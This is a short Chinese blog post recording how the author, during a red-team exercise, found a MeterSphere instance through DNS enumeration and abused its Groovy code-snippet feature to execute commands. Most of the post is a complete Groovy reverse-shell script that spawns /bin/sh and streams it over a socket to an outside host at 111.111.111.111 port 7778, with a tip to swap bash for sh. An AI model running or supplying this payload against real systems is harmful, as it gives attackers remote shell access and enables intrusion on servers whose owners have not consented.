关于metersphere的groovy命令执行

前言:上个月的护网的时候遇到的,这里简单的记录下利用情况

APP上抓到的包,对该域名进行dns枚举,拿到一个metersphere的登陆界面,类似如下

存在相关的代码执行片段功能

通过groovy支持在java虚拟机上进行命令执行,只需要编写相关的代码片段即可

利用过程中shell不支持bash,这里的话改成sh来利用就可以了

String host="111.111.111.111";
int port=7778;
String cmd="/bin/sh";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();

while(!s.isClosed())
{
    while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());
    while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);
    try{
        p.exitValue();
        break;
    }catch (Exception e){
        
    }
};p.destroy();s.close();

posted @ 2022-07-02 09:48  zpchcbd  阅读(259)  评论(0)    收藏  举报